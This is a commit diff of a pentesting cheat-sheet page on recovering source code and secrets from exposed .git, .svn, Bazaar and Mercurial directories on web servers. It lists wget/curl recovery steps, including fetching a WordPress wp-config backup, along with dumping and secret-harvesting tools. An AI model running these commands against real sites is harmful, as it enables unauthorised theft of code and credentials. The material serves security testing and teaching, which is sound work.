Clean up Insecure SCM page and add new tool yar

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lanjelot 2021-01-12 22:39:37 +11:00
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# Insecure source code management # Insecure source code management
- [GIT - Source code management](#git---source-code-management) * [Git](#git)
- [Github example with a .git](#github-example-with-a-git) + [Example](#example)
- [Recovering the content of .git/index](#recovering-the-content-of-gitindex) - [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-git-logs-head)
- [Automatic way : diggit.py](#automatic-way--diggitpy) - [Recovering file contents from .git/index](#recovering-file-contents-from-git-index)
- [Automatic way : GoGitDumper](#automatic-way-gogitdumper) + [Tools](#tools)
- [Automatic way : rip-git](#automatic-way--rip-git) - [Automatic recovery](#automatic-recovery)
- [Automatic way : GitHack](#automatic-way--githack) * [diggit.py](#diggitpy)
- [Harvesting secrets : trufflehog](#harvesting-secrets--trufflehog) * [GoGitDumper](#gogitdumper)
- [Harvesting secrets : Gitrob](#harvesting-secrets--gitrob) * [rip-git](#rip-git)
- [Harvesting secrets : Gitleaks](#harvesting-secrets--gitleaks) * [GitHack](#githack)
- [SVN - Source code management](#svn---source-code-management) * [GitTools](#gittools)
- [SVN example (Wordpress)](#svn-example-wordpress) - [Harvesting secrets](#harvesting-secrets)
- [Automatic way : svn-extractor](#automatic-way--svn-extractor) * [trufflehog](#trufflehog)
- [BAZAAR - Source code management](#bazaar---source-code-management) * [Yar](#yar)
- [Automatic way : rip-bzr](#automatic-way--rip-bzr) * [Gitrob](#gitrob)
- [Automatic way : bzr_dumper](#automatic-way--bzr_dumper) * [Gitleaks](#gitleaks)
- [MERCURIAL - Source code management](#mercurial---source-code-management) * [Subversion](#svn)
- [Automatic way : rip-hg](#automatic-way--rip-hg) + [Example (Wordpress)](#example--wordpress-)
+ [Tools](#tools-1)
- [svn-extractor](#svn-extractor)
* [Bazaar](#bazaar)
+ [Tools](#tools-2)
- [rip-bzr.pl](#rip-bzrpl)
- [bzr_dumper](#bzr-dumper)
* [Mercurial](#mercurial)
+ [Tools](#tools-3)
- [rip-hg.pl](#rip-hgpl)
* [References](#references)
## GIT - Source code management ## Git
The following examples will create either a copy of the .git or a copy of the current commit. The following examples will create either a copy of the .git or a copy of the current commit.
@ -29,28 +39,32 @@ Check for the following files, if they exist you can extract the .git folder.
- .git/HEAD - .git/HEAD
- .git/logs/HEAD - .git/logs/HEAD
### Github example with a .git ### Example
1. Check 403 error (Forbidden) for .git or even better : a directory listing #### Recovering file contents from .git/logs/HEAD
2. Git saves all information in log file .git/logs/HEAD (try 'head' in lowercase too)
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
```powershell ```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git 0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial. 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag. 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing. 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
``` ```
3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c, 3. Access the commit using the hash
```powershell ```powershell
# create a .git directory # create an empty .git repository
git init test git init test
cd test/.git cd test/.git
# download the file # download the file
wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
# first byte for subdirectory, remaining bytes for filename
mkdir .git/object/26 mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
# display the content of the file # display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39 tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb parent 15ca375e54f056a576905b41a417b413c57df6eb
@ -60,7 +74,7 @@ Check for the following files, if they exist you can extract the .git folder.
``` ```
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39 4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
```powershell ```powershell
wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39 wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32 mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/ mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
@ -73,22 +87,22 @@ Check for the following files, if they exist you can extract the .git folder.
``` ```
5. Read the data (flag.txt) 5. Read the data (flag.txt)
```powershell ```powershell
wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/ mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
``` ```
### Recovering the content of .git/index #### Recovering file contents from .git/index
Use the git index file parser, using python3 https://pypi.python.org/pypi/gin Use the git index file parser https://pypi.python.org/pypi/gin (python3).
```powershell ```powershell
pip3 install gin pip3 install gin
gin ~/git-repo/.git/index gin ~/git-repo/.git/index
``` ```
Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file. Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
```powershell ```powershell
$ gin .git/index | egrep -e "name|sha1" $ gin .git/index | egrep -e "name|sha1"
@ -99,9 +113,11 @@ name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141 sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
``` ```
### Tools
#### Automatic recovery
### Automatic way : diggit.py ##### diggit.py
```powershell ```powershell
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True] ./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
@ -112,7 +128,7 @@ sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
-o is a hash of particular Git object to download -o is a hash of particular Git object to download
``` ```
### Automatic way : GoGitDumper ##### GoGitDumper
```powershell ```powershell
go get github.com/c-sto/gogitdumper go get github.com/c-sto/gogitdumper
@ -121,11 +137,11 @@ git log
git checkout git checkout
``` ```
### Automatic way : rip-git ##### rip-git
```powershell ```powershell
git clone https://github.com/kost/dvcs-ripper git clone https://github.com/kost/dvcs-ripper
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/" perl rip-git.pl -v -u "http://web.site/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692 git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
@ -136,14 +152,14 @@ committer Michael <michael@easyctf.com> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
``` ```
### Automatic way : GitHack ##### GitHack
```powershell ```powershell
git clone https://github.com/lijiejie/GitHack git clone https://github.com/lijiejie/GitHack
GitHack.py http://www.openssl.org/.git/ GitHack.py http://www.openssl.org/.git/
``` ```
### Automatic way: GitTools ##### GitTools
```powershell ```powershell
git clone https://github.com/internetwache/GitTools git clone https://github.com/internetwache/GitTools
@ -151,16 +167,27 @@ git clone https://github.com/internetwache/GitTools
git checkout -- . git checkout -- .
``` ```
### Harvesting secrets : trufflehog #### Harvesting secrets
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history ##### trufflehog
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
```powershell ```powershell
pip install truffleHog # https://github.com/dxa4481/truffleHog pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
``` ```
### Harvesting secrets : Gitrob ##### Yar
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
```powershell
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```
##### Gitrob
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files. > Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
@ -170,7 +197,7 @@ export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN] gitrob [options] target [target2] ... [targetN]
``` ```
### Harvesting secrets - Gitleaks ##### Gitleaks
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories. > Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
@ -189,9 +216,9 @@ or
go get -u github.com/zricethezav/gitleaks go get -u github.com/zricethezav/gitleaks
``` ```
## SVN - Source code management ## Subversion
### SVN example (Wordpress) ### Example (Wordpress)
```powershell ```powershell
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
@ -204,26 +231,30 @@ curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
2. Download interesting files 2. Download interesting files
* remove \$sha1\$ prefix * remove \$sha1\$ prefix
* add .svn-base postfix * add .svn-base postfix
* use first two signs from hash as folder name inside pristine/ directory (94 in this case) * use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base` * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
### Automatic way : svn-extractor ### Tools
#### svn-extractor
```powershell ```powershell
git clone https://github.com/anantshri/svn-extractor.git git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py url "url with .svn available" python svn-extractor.py url "url with .svn available"
``` ```
## BAZAAR - Source code management ## Bazaar
### Automatic way : rip-bzr.pl ### Tools
#### rip-bzr.pl
```powershell ```powershell
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
``` ```
### Automatic way : bzr_dumper #### bzr_dumper
```powershell ```powershell
git clone https://github.com/SeahunOh/bzr_dumper git clone https://github.com/SeahunOh/bzr_dumper
@ -248,9 +279,11 @@ $ bzr revert
N static/ N static/
``` ```
## MERCURIAL - Source code management ## Mercurial
### Automatic way : rip-hg.pl ### Tools
#### rip-hg.pl
```powershell ```powershell
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl